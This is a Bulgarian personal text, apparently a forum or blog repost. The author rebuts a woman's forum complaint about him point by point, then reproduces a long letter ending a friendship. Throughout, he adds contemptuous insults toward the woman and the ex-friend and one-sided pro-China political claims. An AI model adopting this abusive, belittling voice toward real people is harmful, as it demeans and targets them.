ОТНОВО КРАЙНОСТИ! И ПОСЛЕ ТОВА-ОНОВА. АБЕ МОМИчЕ, УСПОКОЙ СЕ МАЛКО, ПОЕМИ СИ ВЪЗДУХ, [COLOR="Red"]ПО-ДОБРЕ Е ДА СЕ ПРЕКАРВАТ МОСТОВЕ, ОТКОЛКОТО ДА СЕ ГРАДЯТ СТЕНИ, НЕ МИСЛИш ЛИ?[/COLOR] (Логични аргументи спрямо някой, който няма почти никаква логика! Колко наивно!)
"Ще кажете - защо се държиш като дете. Прави сте. Но не мога да се надскоча, свеки си има летва."
А КАКВО ИМА ЗА НАДСКАчАНЕ? ПРОСТО СЕ ПОЯВИЛ чОВЕК, КОЙТО Е ЗАСТРАшИЛ ИМИДЖА ТИ ЛИ, КАКВО толкова съм ти сторил?! (Добре се е самоопределила като инфантил!)
"И по детски ще се опитам да ви обясня защо. Гесер събуди в мен първо асоциации и спомени - как е възможно един млад, начетен човек да е комунист, дали не е защото е много млад и не им е сърбал никога попарата или просто се прави на интересен, търси си публика, провокатор е, или е просто болен?"
ЗАщОТО Е УчИЛ ФИЛОСОФИЯ И ЗНАЕ, чЕ ДИАЛЕКТИчЕСКИЯ МАТЕРИАЛИЗЪМ Е ЕДИН ОТ ВЪРХОВЕТЕ
ЗАщОТО ИСКА ДА СЕ ОСЪщЕСТВЯТ ИДЕАЛИТЕ ЗА БЕЗПЛАТНО ЛЕчЕНИЕ И ОБУчЕНИЕ, КАКТО И ЗА БРАТСТВО МЕЖДУ ХОРАТА.
ЗАщОТО ВИЖДА, чЕ ИМЕННО КОМПАРТИИТЕ НАПРАВИХА ДОСТОЙНИТЕ ПОЛИТИКИ В КИТАЙ, ВИЕТНАМ, КОРЕЯ, КУБА, А НЕ ПРЕДАТЕЛИТЕ, КОИТО ЛИЗНАХА ДУПЕТО НА СИЛНИТЕ НА ДЕНЯ В ДРУГИ СТРАНИ.
ЕТО ТАКИВА ПРОСТИ НЕщА, КОИТО ДОРИ ЛюБИТЕЛ-ФИЛОСОФ МОЖЕ ДА ПРЕДПОСТАВИ. ЗА СПРАВКА ОТНОСНО ПЪРВА ТОчКА САМО СРАВНИ МАХИЗМА КАТО "алтернатива" на МАРКСИЗМА И МИ КАЖИ СЕРИОЗНО ЛИ МОЖЕ ДА БЪДЕ ТАКАВА? А кой е МАХ? ЗНАЕШ ЛИ?...Не, НЕ СЕ ЗАЯЖДАМ, САМО ТЕ НАСОчВАМ. (Недоучилите не могат да ги разберат тези неща; а иначе, искам да подчертая, че социализъм и комунизъм трудно се изгражда, особено, когато в комунистическите партии започнат да виреят хора, които са всичко друго, но не и комунисти и дори не и социалисти!)
"Аз за себе си съм решила, мама и тати са ме учили да бягам като дявол от тамян от такива като него."
ТРАВМИРАНОСТ? (Толкова им е акълът и на родителите й явно. Заради някой провинил се, слагат всички в кюпа! Простотията е голяма!)
"Не му отговарям на лични, защото не "допускам в къщата си" хора, които са ми меко казано неприятни."
ДА, ТОВА ГО ЗНАМ. А, АКО ТИ ДОКАЖА НЯКОЙ ДЕН, чЕ НЕ СЪМ НЕПРИЯТЕН, щЕ СЕ ИЗВИНИш ЛИ ТУК ЗА ВСИчКО?;) / Спокойно няма да ти създавам и този дискомфорт, но, опрделено ще се постарая да видиш, че не съм неприятен, фактически... това вече е в ход, но ще разбереш, когато стане време/. (Напразни усилия от моя страна!)
"Но тук ще се опитам да му обясня пред всички за първи и последен път какво точно чувствам и мисля за постингите му.
Изведнъж се оказа, че само той знае истината, а всички други сме некомпетентни, малоумни, предубедени, истерични и невротизирани гадни капиталисти. Да, ама не!!!"
НИщО ТАКОВА НЕ СЪМ КАЗВАЛ. ПРОСТО ТИ ПИшЕш НЕщЕ ОТ РОДА НА :
"ВСИчКИ ХОДЯТ ПО ДЖАПАНКИ В УНИВЕРСИТЕТИТЕ!", което НЕ Е ВЯРНО И СЪМ ДЛЪЖН ДА ОБОРЯ. В ИНТЕРЕС НА ВСИчКИ Е. (Страшно много дезинформираше тази недоучила личност!)
"Тук има хора от всякакви професии, с различен жизнен опит и не съм видяла никой да се прави на господ, никой да демострира, че много знае и да употребява думички от силно специализирани уцебници."
ЕДВА ЛИ ТОВА Е ПРОБЛЕМ. НЕ СЪМ ВЗЕЛ ДА ТИ ГОВОРЯ С ЛЕКСИКАТА НА ВТОРАТА КРИТИКА НА КАНТ, НАЛИ? А МОГААААА....:d (На такива недоучили, но взели дипломи, дори средно ниво на разговор от страна на наистина учил философ им се струва "от силно специализирани учебници". "Силно специализирани"!)
"Защото колкото и Валес да не ругае, ми то си е като комплимент и музика за ушите. Колкото и други да ме поучават, знам че го правят чистосърдечно."
ВЕЛЕС НАПРАВО ПСУВАШЕ В ЕФИР И КАТО МУ ПОКАЗАХ НА ЛИЧНИ КОЛКО ПО-ДОБРЕ МОЖЕ ДА СЕ ПСУВА (щото, ако си философ, може да станеш и простак, ама виж обратното не става) И СЕ ПООТКАЗА. Умният човек може да падне на по-ниско ниво; глупавият не може да се качи на по-високо ниво. Примерно - ако знаеш "колоквиум", може да кажеш и "джендъраст", ама ако само знаеш "джендъраст", няма как да употребиш нещо по-научно като "колоквиум"
"И как бихте реагирали, ако вие споделите нещо толкова лично като преживяване за детето ви и някой тръгне да се прави на sick smart ass?!"
ТОЧНО, ЧЕ ПЪК ПОСЛЕДНОТО ГО ПРАВИШ ТИ НЕ САМО ПСРЯМО ДЕТЕТО, НО И СПРЯМО ВСИЧКИ ДЕЦА В КИТАЙ. И ПОСЛЕ...АМИ ТО НЕ МИ ГОВОРИ 2 ДЕНА, А ЗА 13-ГОДИШНО ТОВА Е МНОГО...АМИ НЯМАШ ПОДХОД КЪМ НЕщАТА - КАЗА ТИ ГО ТАКТИЧНО ЕДИН ЧОВЕК. ПРОСТО ТРЯБВА ДА ПОРАБОТИШ ВЪРХУ СЕБЕ СИ, ЕГОТО СИ И ПР. ВСЕ ПАК ГОСПОД ТИ Е ДАЛ СЕМЕЙСТВО, ДОБРА РАБОТА В СПОКОЙНА И РАЗВИТА ДЪРЖАВА, ЗА КАКВО СА ВСИЧКИ ТЕЗИ НЕРВИ, ПО ДЯВОЛИТЕ? (Това за "Господ" е само като израз; няма доказателства за съществуването на богове. Иначе женицата си е ненормална, няма спор!)
"Е, тук вече изпаднах в бяс:diablo: . И е вярно, че Гесер се опитва да се съгласява, но пак е ценичен и последна истанция. (аз затова му викам КПП-контролно пропусквателен пункт)."
ДОСТА НЕГАТИВНА УСТАНОВКА СИ ИМАШ И ИМЕННО ТЯ щЕ ТИ ИЗИГРАЕ ЛОША ШЕГА. (Неуравновесена и проста особа!)
"Образованието, като най-силното скрито оръжие на една нация, ме вълнува много. И бях решила да споделя лични впечатления, но как бих могла да го направя?!"
ДА НЕ БИ ЗАщОТО И АЗ СЪМ УЧИТЕЛ И МОГА ДА КОРЕГИРАМ НЯКОЕ ПРЕСИЛЕНО ИЗКАЗВАНЕ ЗА КИТАЙЧЕТАТА ТУКА? САМО ДА ПОПИТАМ. (Защото то й беше някакво извратено удоволствие да критикува китайците за щяло и нещяло!)
"За да бъда апострофирана на всяка дума и да слушам за меркита на партията?! Ами аз това съм го гледала по новините в БГ преди15-20 години."
Я ОПИТАЙ, ПЪК АЗ НЯМА ДА ГОВОРЯ ЗА МЕРКИТЕ НА ПАРТИЯТА. КАТО ИЗЛЪГА, ЧЕ В КИТАЙ ВСИЧКИ СТУДЕНТИ СЕ РАЗКАРВАЛИ В УНИТАТА ПО ДЖАПАНКИ АЗ С ПАРТИЯТА ЛИ ТЕ РЕПЛИКИРАХ? ХАЙДЕ ДА БЪДЕМ ЧЕСТНИ, НАЛИ ЦЯЛАТА ТИРАДА Е В ИМЕТО НА ЧЕСТНОСТТА? А И, АКО ИСКАШ ДА СИ ПОЛЕЗНА НА ХОРАТА ТУКА, щЕ ПРАВИШ КАКВОТО ТРЯБВА, А НЯМА ДА СИ ТЪРСИШ СЪЖАЛЕНИЕ И ОПРАВДАНИЕ С МЕНЕ. (Много сложно за повърхностен мозък като нейния!)
"Опитвам, се да бъда толерантна, но... до толкова мога: да спра да пиша и да оставя поле за изява на другите (Гесер, не само за теб, но най-вече от теб бягам)."
щЕ ТИ КАЖА ЕДНА ПРИКАЗКА ЧУТА ОТ ЛИРИЧЕСКИЯ ГЕРОЙ НА ГЕОРГИ КАЛОЯНЧЕВ - АЗ НЕ БЯГАМ, ПОНЕЖЕ ЗЕМЯТА Е КЪЛБО[COLOR="red"]И КОЛКОТО ПОВЕЧЕ БЯГАШ, ТОЛКОВА ПОВЕЧЕ СЕ ПРИБЛИЖАВАШ КЪМ ТОВА, ОТ КОЕТО УЖКИМ БЯГАШ![/COLOR] (А такива като тази наистина да бягат, та да се не завърнат никога повече! Отвратителни, ненужни и вредни хора!)
"И последно пояснение за Гесер: дано проумееш, че ако задочно съм станала причина за баннването ти, то едва ли е защото всичките модератори са ми любовници."
ТО И ЕДИН СТИГА, ДЖАНЪМ! ЕДНА КИТАЙСКА ПОГОВОРКА, КОЯТО МОЖЕ И ДА ЗНАЕШ, КАЗВА - САМО ЕДНА МИШКА, МОЖЕ ДА РАЗВАЛИ ЦЯЛ КАЗАН С ЧОРБА!
"По-скоро, защото и те са гледали като мен същите новини дето ни ги пускаш, но в БГ."
В БГ ПО-РАНО ПУСКАХА НОВИНИ ЗА КИТАЙ. ПОСЛЕ ХРУШЧОВ НАРЕДИ ПРОТИВ КИТАЙ. ПОСЛЕ ИМАШЕ ЛЕК ПЕРИОД С ОК-НОВИНИ И СЕГА НАТО, САщ И ДР. НАРЕЖДАТ ДРУГО...БЪЛГАРИЯ, КОЛКОТО И ДА Е ЛОШО, Е ДЪРЖАНКА НА ГОЛЕМИТЕ. И ТОВА НЕ СА МОИ ДУМИ. (Между другото, не че в момента независимостта е кой знае каква, но предвид алтернативата - да стане част от Русия или руска сфера на влияние, май излиза по-добре, че е под ЕС, НАТО, САЩ и пр. влияние. Независими май не останаха.)
"Китайския народ е наистина много различен и особен и последното нещо, от което има нужда за да бъде разбран, е от псевдо-защитници, които не искат да признаят, че просяците са си просяци и не карат коли, а биват периодично прибирани и изселвани за да не загрозяват пейзажа на "съвременните, модерни" градове."
ИСКАШ ЛИ ТОЧНО ОТ КИТАЙСКО БИБИЕС, ДЕТО СИ ГОВОРЯТ ОБИКНОВЕНИ ХОРА И, ДЕТО ТИ НЕ ГИ РАЗБИРАШ, ПОНЕЖЕ НЕ МОЖЕШ ДА ЧЕТЕШ НА КИТАЙСКИ ДА ТИ ПУСНА СНИМКИ НА ПРОСЯЦИ, ДЕТО СЛЕД КРАЯ НА РАБОТНИЯ ДЕН СВАЛЯТ ДРИПИТЕ И СКАЧАТ В КОЛАТА? а и не гледаш ли СИСИТИВИТАТА, ТАМ СЪщО ПОКАЗВАТ ТОВА-ОНОВА? ИЛИ И ТИ СИ НА КАБЕЛНА, ГЛЕДАШ САМО ЧУЖДИ КАНАЛИ И ВЪОБщЕ НЕ ЗНАЕШ КАКВО СТАВА В КИТАЙ? (Такива като нея си остават неинформирани до края.)
"Със здраве и да не вземеш да тръгнеш да ми отговаряш - този път просто ще изтрия темата, защото истерията ме е обхванала пълно.:diablo"
АЗ НЕ СЪМ ОСНОВАНИЕ ЗА ТВОЯТА ИСТЕРИЯ, ТЯ Е НЕщО КАТО СПОНТАННО ПРОЯВЛЕНИЕ ПО НЯКАКВИ ДОСТА МАЛКИ ПОВОДИ. ИНАЧЕ ЗА ИЗТРИВАНЕТО - ТИ ТУКА МОЖЕ И ДА ИЗТРИЕШ, НО В
... (вече го няма сайтът, който съм бил споменал) щЕ БЪДЕ ЗАПАЗЕН ТОЗИ ОТГОВОР, ЗА ДА СЕ ЗНАЕ КОЕ КАКВО Е. ПОНЕЖЕ МНОГО Е ЛЕСНО ДА СЕ ТРИЕ.
ОЧАКВАМ ТЕ ТАМ, ЗА ДА СЕ ДЪРЖИМ КАТО НОРМАЛНИ ХОРА И ДА БЪДЕМ ПРИЯТЕЛИ, ВЪПРЕКИ ПОЛИТИЧЕСКИТЕ СИ РАЗЛИЧИЯ! (Приятелство с ненормалница. Ха-ха! Много съм бил оптимист явно. ;D )
С МНОГО ПОЗИТИВНИ МИСЛИ И ПРИЯТЕЛСТВО : Гесер.:angel:
---
" И трудно се преглъща факта, че не ти позволяват да си кажеш мнението и знаеш, че ще те репликират и усмиват на всяка дума."
ПРЕУВЕЛИЧАВАШ - ЗА МНОГО НЕщА БЯХ СЪГЛАСЕН С ТЕБЕ И ТИ БЕШЕ РАХАТ И КАТО НАМЕРИХ НЕЛЕПОСТИТЕ ЗА ПЪРДЕНТО, ОРИГВАНЕТО И ДЖАПАНКИТЕ И ГИ ПОКАЗАХ НА ХОРАТА СЕ ЗАСРАМИ, И СЕГА ТЕ Е СТРАХ ДА НЕ СЕ ИЗЛОЖИШ ОТНОВО, щОТО ИМА ЧОВЕК, КОЙТО Е ЖИВ СВИДЕТЕЛ НА НЕщАТА, А И СИ СЛУЖИ С ДОКАЗАТЕЛСТВА. ПРИМЕРНО ПОМНИШ ЛИ КАТО КАЗА, ЧЕ НЕ СИ МИЕЛИ ЛИЦАТА ТУКА КАК ВЕДНАГА НАМРИХ ДАЖЕ СНИМКА НА КИТАЙКА МИЕщА СИ ЛИЦЕТО? ТАКИВА МИ ТИ РАБОТИ, ПРИЯТЕЛКО ЛюБИМА! (Наистина супер просто момиче беше тази!)
"Ами вие знаете ли на колко години и кила съм?! на около 100 и 150. Да не си мислите, че съм изяла н-торби сол, за да доставям/разтоварвам неграмотници като Гесер."
МИЛИЧКА ТОЗИ ПРЕДИКАТ ЗА НЕГРАМОТНИЦИТЕ НАЙ-СЕ НАЛАГА ДА КАЖА, ЧЕ ГО ПРОЕЦИРАШ И СИ Е ТВОЙ. АМИ ХАЙДЕ ДА СИ НАПРАВИМ ЕДНО СЪСТЕЗАНИЕ ДА ВИДИМ КОЙ ЗНАЕ ПО-ДОБРЕ ФИЛОСОФИЯТА, КИТАЙСКИЯ, ИСТОРИЯТА И КУЛТУРАТА НА БЪЛГАРИЯ, ТУРЦИЯ, ТАТАРИЯ И КИТАЙ, ПРИМЕРНО? (Намерила на кой да вика "неграмотник" недоучилата проста лейка!)
"Защото не е достатъчно да даваш едностранно фактите (като в статията в САН), дори е вредно и недостойно."
А ТИ КАТО НАПРАВО ЛЪЖЕШ ЗА ФАКТИТЕ - НЕ СИ МИЕЛИ ЛИЦАТА, ПЪРДЕЛИ ПО МАСИТЕ...ИЗВИНЯВАЙ, НО ТОВА Е МНОГО ПОВЕЧЕ ОТ ВРЕДНО И КАКВОТО ТАМ СИ НАПИСАЛА!
"И има толкова мнго пропуски в така наречената му логика, но защо да ви занимавам?!"
ТАКА ЛИ? АМИ НАПРАВИ ЛОГИЧЕСКО ИЗЧИСЛЕНИЕ И ГО ПОКАЖИ, ЗА ДА ДОКАЖЕШ. ТИ ВЪОБщЕ ПРАВИЛА ЛИ СИ ЛОГИЧЕСКИ ОПЕРАЦИИ С МОДУСИ, ПРИМЕРНО?
Я КАЖИ ПОНЕ 2 модуса! (Ще каже, ама друг път!)
"За да докажа, че знам или мога повече?! За това си има специализирани, професионални форуми?"
АМИ ДА СЕ ВИДИМ ТАМ, ЗА ДА ВИДИМ КОЙ Е НЕГРАМОТНИКА?:d (Въобще и не посмя! Такива не много грамотни, недоучили и неуравновесени само могат да се крият зад гърба на администратори, модератори и всякакви силни на деня; нямат капчица достойнство.)
"Аз съм тук, за да ви споделя как аз си прекарвам деня, за да се отморя и намеря приятни събеседници, за да видя (че ми липсва тук), че наистина сме (българите) можещи и супер хора."
НО ТОВА НЕ ВКЛЮЧВА ДЕЗИНФОРМИРАНЕТО ИМ И ПОСТОЯННОТО ПЛЮЕНЕ ПО КИТАЙ. МОИТЕ ПРЕДЦИ СА ОТ КИТАЙ (ПИТАЙ МЪЖА СИ, НАЛИ Е ТУРЧИН, ДА ТИ КАЖЕ НЕщО ЗА НАС-ТАТАРИТЕ), ЖЕНА МИ Е КИТАЙКА, ЖИВЕЯ В КИТАЙ И НАМИРАМ ЗА СВОЙ ДЪЛГ ДА НЕ ДОПУСКАМ ЛЪЖИ. (И, както съм казвал, никой не ме потърси от китайска страна поне едно "Благодаря!" да каже. Да не говорим за заплащане, за някакви ползи. Всичко е било на вятъра. И, предвид, че Китай вече се докара до положение на нещо, което е като империя в днешно време, нямам никакво намерение да се жертвам повече за политики.)
"Но не мога да пиша, като някой ми диша във врата. За това, постъпвам така. Не искам от вас да го банвате, нека си запазим репутацията на толерантни. И наистина не си струва и вие да пишете тук. Просто споделих с вас лично мнение. Не се карайте/спорете, по този повод - той е наистина незначителен, като се има предвид на броя българите в Китай."
АЗ ДИШАМ ВЪВ ВРАТА ТИ ЗНАЧИ - А, АКО Е ТАКА, ЗАщО, КОГАТО БЯХ БАННАТ ЗА 1-ВИ ПЪТ НАЙ-БЕЗЦЕРЕМОННО СИ ПУСКАШЕ ТЕМКИ и изказвания срещу мен? АМИ МАЛКО НЕКОРКТНО, АМА ТОВА НЯМА ЗНАЧЕНИЕ. КАКТО КАЗВАШ И БЕЗ ТОВА НЕ СА МНОГО ХОРАТА РОДЕНИ В БГ, КОИТО СА В КИТАЙ, НЕКА НЕ СТРОИМ СТЕНИ, А ДА ПРЕКАРВАМЕ МОСТОВЕ ПОМЕЖДУ СИ. ОК? (Тъпанарката въобще не можа да разбере нищо и да подходи градивно, позитивно! Отвратителен човек е. Мразя такива.)
-
С едно лице прекъснах тогава (2016) отношения, защото имаше психастения и други психологически (и нравствени) проблеми.
Та ето един "ферман" каквото му обяснявах, с леки редакции на по-личните неща (например имената, фамилиите):
Ясно ми е, че си ползвал моята помощ да правя неща за Китайското радио, да пиша курсови работи на китайки и пр., само когато ти не можеш. Не съм казал, че винаги си ме ползвал. НО КАЗВАМ, че моето не се зачита - и до днес П., китайките или човекът от китайското посолство не знаят, че аз съм допринесъл за тях. Плащал си, но не разбираш, че всеки плаща И ПАК пишат кой е авторът - напр. на колумнистите във вестниците им плащат за статиите, но и пишат кой е автор. За първи път в живота ми се случва някой да ми плаща, НО да оставам анонимен за труда си - а знаеш, че съм работил като водещ в Плевенска ТВ, като завеждащ психологическа рубрика и като репортер в 2 Плевенски вестника - навсякъде хем ти плащат, хем и те пишат, та след това хората да знаят, че ТИ, а не ДРУГ е автор. Това влияе и на отношението, и на биографията ти. Ето защо аз казвам, че това вбъдеще не би ме устройвало, а когато съм го правил за тебе е било, защото съм бил притиснат от икономическата ситуация в живота си, т. е. доброволно и от немай къде, но никога няма да ми е приятно, че останах таен автор в съзнанието на толкова важни хора, които си мислят, че ти си авторът. Това ти го казах и, когато стана въпрос да пиша фантастичен роман - не искам никога повече да съм анонимен автор или някой друг да се представя за автор на моя интелектуален труд.
(Чудя се какво да ти обяснявам, при положение, че и на тебе ти беше гадно, че си писал дипломни работи за пари, а после не ти, а други са ставали магистри с тях. Само от този факт трябва поне на 90% да ти е ясно аз какво изпитвам по тези въпроси.)
Зависимостта е налична, когато човек си зависи от нещо, а не, че друг го е направил зависим задължително. Не казвам, че някой е правил някого зависим, а че зависимостта е била налична изначално и естествено. За себе си твърдя, че бях зависим от теб по отношение на комуникацията с баща ми и за доходи. А това колко ти си бил зависим от мене - тепърва животът ще показва, когато се налага да получаваш психологически съвети, китайски преводи и др. преводи на момента (а и на добра цена), ценни информации от социален и медицински аспект - с една дума знаеш какво мога и знаеш какво ще ти липсва. Аз няма какво да го мисля този въпрос, защото то са очевидни неща кой колко и какво разбира/може в живота и в кои области знае, а в кои е гола вода, към днешна дата.
Ами и аз си мислех, че сме приятели, но се получиха неща, които не отговарят на моята концепция за приятелство като това, че за мене нямаш 2 минути за микроработа или подкрепа в петиция за паспорти, а за някакви довчера непознати хубавици имаш ЧАСОВЕ или пък онова аз да се моря да пиша текстове и ти да не четеш и да отбиваш номера с емотиконки и даже с "позволих си лукса да не чета". Все едно, че Мая с "виждам, че си добре", когато изразявам болка и плач. Т. е. съвсем логично е, че те резнах като приятел, при аналогични ситуации с всички постъпвам така. Не може единия да чете с часове даже чатове с Г.-ва и да си дава мнението отговорно, а другият да гледа през пръсти на нещата и даже да ти се зъби (както в случая като беше напечено за една виза тук, а ти се озъби, че "светът ще се срути", а аз съм те занимавал. Т. е. ти си си концентриран върху собствената си личност най-вече и това е една от пречките да си приятел не само на мен, но и по принцип. Приятелството иска повече отговорност + отдаденост.)
Вярно е, че с няколко години повече те изтърпях, надявайки се на промяна, но не стана. Другите - само за 1 (ЕДНО) подобно нарушение - напр. говорил ме някой зад гърба (както в случая с мъжа на Ж.) или ми издал някой тайна, която съм споделил (както в случая с Н.) - и веднага край. А при тебе имаше добра основна причина да стисна зъби и да поизтърпя някои неприятни унизителни ситуации като онези по-горе, а тя беше икономическата причина. Все пак, знаеш, че много хора, заради парите, са принудени да търпят доста по-зле неща в отношенията си с някои. ИЗБОРЪТ си е бил лично мой, не бива да се обвиняваш, че съм решил да поизтърпя някоя година отгоре. Все пак си бил наясно с почти всичко какво не харесвам, какво ме е огорчавало и сигурно си се досещал, че въобще не си идеалният приятел, а след последните фалове като заяждането за парите и спирането на речниковите преводи - направо си разбрал, че не си и приятел.
Като говориш пак за парите - ДА! Определено е супер гадно да ти закъснеят с парите, а после ти да си виновен, че с добър тон си ги подсетил. Преди плащаше в аванс, после при свършена работа, накрая доста след като е свършена (това е и на Гугъл схемата, да приемем, че е добре да се плаща до месец след свършена работа), НО да чакам аз пари на еди-коя си дата и да ми се закъснее с 3 дена, пък и после аз да съм виновен, че съм напомнил - това е за мене голямо кощунство и безобразие. Виж, ако просто се беше извинил - иди-дойди, но това е просто незабравимо - изработил съм, чакал съм, закъснял си, напомнил съм без да се карам и в резултат - аз виновен. Хубаво ми се извиняваш за случилото се, надявам се да си го осъзнал, защото ще ти е полезно за бъдещите ти отношения с хората, а не за мене, защото не искам да работим повече по никакви проекти, независимо от обстоятелствата.
Като цяло не си ме защитавал пред никой - айде от Б.-Х.-а те било страх (повечето някакви емигранти, не знам какво им е страшното, но ти нали все се плашиш от нещо, айде да не ти припомням за психастнията, но ще имаш да вземаш, че аз съм бил ненормалния, при положение, че мене ме нападат и, аз видиш ли, трябвало да си трая като путьо, когато нападат жена ми, мене и Китай! Че аз даже на спортен кунг-фу двубой ги каних и те не дойдоха тези "страшни хора"!), НО какво страшно имаше да ме защитиш пред мъжа на Ж.?! Той нали не е "борец"? Като цяло не си имал потребност ти да ме защитаваш - нали даже ми беше давал видеоклиповете без да ме питаш, колкото да става майтап там, а аз ти ги бях дал за лично ползване. От това се вижда, че много-много не си ме имал за нещо специално, камо ли да ме защитаваш. А и после като почна дори да ме критикуваш, че ти давам толкова полезни съвети, тотално ми просветна, че си коравосърдечен към мен и е било наивно да очаквам да не ме клюкариш, да ме защитаваш и да правиш всичко онова, което се очаква от истинския приятел, според средната морална представа.
Не знам към какво по-добро се променяш - ще е добре за тебе да ти порастне буйна коса, да те заобича С., да станеш по-смел, че да си защитаваш приятелите и семейството и всичко, към каквото се стремиш, само че това ДОРИ и да се получи - аз вече съм достатъчно напатил и не ми трябва да поемам втори риск от толкова много етични и душевни наранявания, които си ми причинил за всичкото това време.
Това, че не си защитил приятел в нужда не е твой провал?! Ами повечето приятели като не ги защитаваш в нужда и почват да изпитват лоши чувства, а и направо да си отиват. Така че то не е провал, но проваля приятелството ти и после не вярвам да ти е приятно да губиш приятели, но ти си знаеш. За мене това ти беше един от най-големите провали - в ТОП 10 го нареждам, защото с това най-много ми падна в очите - хем не си ме защитил, ама хем си мислел, че аз не съм наред, когато безпричинно нападат мен и хора/неща, които обичам! Психопатологичен ужас!
Може и да си ме оценил преди години, но сега като ме няма, още повече ще ме оцениш. То има една древна поговорка, че хората не си дават сметка колко ценно е например слънцето, защото всеки ден изгрява, но ако пропусне да изгрее само 1 ден и ще почнат да разбират наистина колко е било ценно то за тях. Същото е и с водата или пък с интернета, например. Това и аз искам да кажа - че едва като ме няма, ще видиш реално колко и доколко съм бил ценен (особено, ако няма кой да ме замести качествено; а ако ме замести - няма да ти пука особено, то е ясно).
МНОГО ПРОСТО НЕЩО НЕ РАЗБИРАШ: чудиш се защо говоря само за лошото, защото съм натъртвал само на това, кога не си ме оценявал, в частност?! Ами това е ТОЛКОВА ПРОСТО и ще го обясня с пример прост: ако даден човек е много добър и добринася за хората то е окей, но като направи престъпление и го вкарват в затвора, нали така? И тук същото - ние няма нужда да говорим какво си бил наред, ние говорим какво НЕ СИ БИЛ И НЕ СИ наред, защото като си наред - няма проблем, а като си направил нередност - има. Ето и още един пример, за да е сигурно, че си разбрал: като идеш на лекар става дума най-вече за това, което ти е болно, а не за това колко много неща не са ти болни. Т. е. това, че примерно си правил и добри неща НЕ ти дава право да правиш лоши неща! А това, че само един път си се противопоставял на моите съвети/идеи не е никак вярно - за Харбин, за С., за къщата... няма какво да си губя времето да изброявам, ако паметта ти е толкова избирателна да си мислиш, че само 1 път било - в голяма грешка си.
Ето ти и фермана, за който си прав, че може и да научиш неща, за които не си си давал сметка или поне да стане пределно ясно как от моя гледна точка е непоносимо повече да съм в каквото и да е общуване с тебе.
Защо пълно скъсване с теб не е грешка, а правилно и добро решение:
А) Неща, които са ме разстройвали през годините, но съм прощавал само в името на бизнеса (на други не съм простил, защото те не са плащали, т. е. не е имало с какво да ме държат при себе си; тебе основно те държеше това, че плащаше добре (според моето незавидно положение), а не, че си бил кой знае какъв примерен и добродетелен приятел).
1. Когато ми трябваше много помощ за една от визите и ти закъсня, а после като те потърсих повторно се развика, че "то светът ще се срути, аз съм те търсил!" Т. е. въобще не съчувстваш и не си даваш сметка колко е важно визата особено за човек като мен.
2. В друг подобен момент ядосано ме резна, че ще ми струва цели 5 лева нещо, което правиш за около 5 минути, а в същото време за момичета с часове правиш неща, а като не можеш да ги направиш ги поръчваш за пари. Т. е. винаги момичета са били доста преди мен. Това следва и в долния пример.
3. Отказа ми да вземаме по някой цент от микро-работите, защото си зает (ставаше дума за по няколко минути на ден, определено под 10 минути), но когато момичета те замолят, даже за без пари, с часове помагаш, а ако не можеш, даже си плащаш пари, за да им помогне някой друг! И това за момичета, които ДОРИ не може да се нарекат "истински приятелки", камо ли "гаджета"/"годеници"/"съпруги". И до ден-днешен като изгубя по няколко цента на ден, което прави по около 2-3 долара на месец, заради това, че не сътрудничиш за Фейсбук и Ютюб си спомням за отказа ти, и се ядосвам, че едновременно губим двамата!
4. Отказа ми да подкрепиш за паспортите, обиди поголовно цялата си българска нация, че са лоши хора и, че барабар с тях и аз трябвало "да се оправям" и това точно, когато се надявах, че ти (Приятелят) изстрада заедно с нас тоя паспорт (държах те в течение всяка възможна минута, с надеждата, че наистина ще го изстрадаш и ще ни съчувстваш!), а то заради тотално лошо ти отношение към останалите от бг-граждани, да го отнасям и аз. Ей-тогава се зарекох, че няма да ти помагам нищо занапред свързано с визи, паспорти и пр. А ти каза, че вече не съм ти на 1-ви план, а аз (за да съм сигурен, че няма да ме изритат от Китай) казах, че до Зелена карта - никакви големи заеми не давам, а ти се заяде за 300 юана и за бартер на стойност не повече от 30 юана на година... и накрая - край на приятелството ни дори!
5. Реагираш прекалено на неща като това, че някой се е опитал да те предупреди за Харбин! (видях хисторито, оказа се не че по онова време съм ти писал други "гадости" както ти ги наричаш, а че си се оправдал с това, че тогава си бил натоварен с Л. и си ми цитирал писмо до него, както и че ти се е насъбрало от други места, а после на мене викаш, че проблемите ми рефлектирали върху нашите отношения; фактически твоите проблеми многократно са ме изритвали на доста заден план).
6. Когато ти ми цитираш дълги писма до Л., Ч. или даже чатове с Г.-ва - напрягам се да чета и даже коментирам. Когато аз ти давам нещо да видиш - случва се даже да не го видиш, а критичните с Б.-х. даже не си ги чел. Сам си казвал "позволих си лукса да не чета какво си писал", а аз после се чудя защо трябва да губя време да преповтарям едно и също.
7. Признал си пред Н., че само с емотиконка си ми отговарял и не си чел. Даже беше й казал, че съм имал друг ник там, а като ти казах, че си ме издънил ми вдигна безочлив скандал, как си бил толкова зает и не си бил длъжен да помниш моите тайни. Все едно сега аз да кажа на майка ти или баща ти някоя твоя тайна и като се обидиш да река, че толкова съм зает и не съм длъжен да помня какво си ми казал. Просто не бе човешко това! И точно тогава балдъзата беше вкъщи и гледах да не давам много израз на емоциите си, но тази безочливост много ме разочарова.
8. Беше ме говорил пред нея и пред онзи плешивия на Д. (само, защото съм й викал, че Китай е по-добре от България, а накрая те дойдоха на моето, както обикновено става като предупредя някой), като в тона ти не само, че не ме защитаваше като приятел, а даже ме описваше като някакъв полулуд, с който ти много-много работа си нямаш. ДАЖЕ казваш, че точно така си си мислел - дали съм нормален, САМО ЗАЩОТО съм се защитил от НЕПОВИКАНИ нападки и съм си защитил жената. По това време и каза, че ме молиш от ЕГОИСТИЧНО-СТРАХЛИВА гледна точка да не отговарям. Т. е. винаги за тебе най-важното е било ти да си се уредиш, а аз - може да ме изкарваш ненормалник, може да им говориш, че се нямаш с мене и даже аз да се свлека до ниво "червей" да ме тъпчат - никакво застъпване, никаква реална подкрепа пред другите! А аз стане ли нещо такова - веднага съм тичал да ти предлагам да се регвам да споря с някой, да го търся по скайп/кк и пр. Това никак не е приятелско.
9. При още по-реални проблеми, извън интернет, когато ми е било начало на депресия или риск от такава, не само не си отделял достатъчно време (да не говорим за реципрочно на моето време, което аз отделям по твоите проблеми с хората), а само си отговарял с някоя емотикона като онази с хипнотизираните очи или с едно "хм"... Това също не е приятелско.
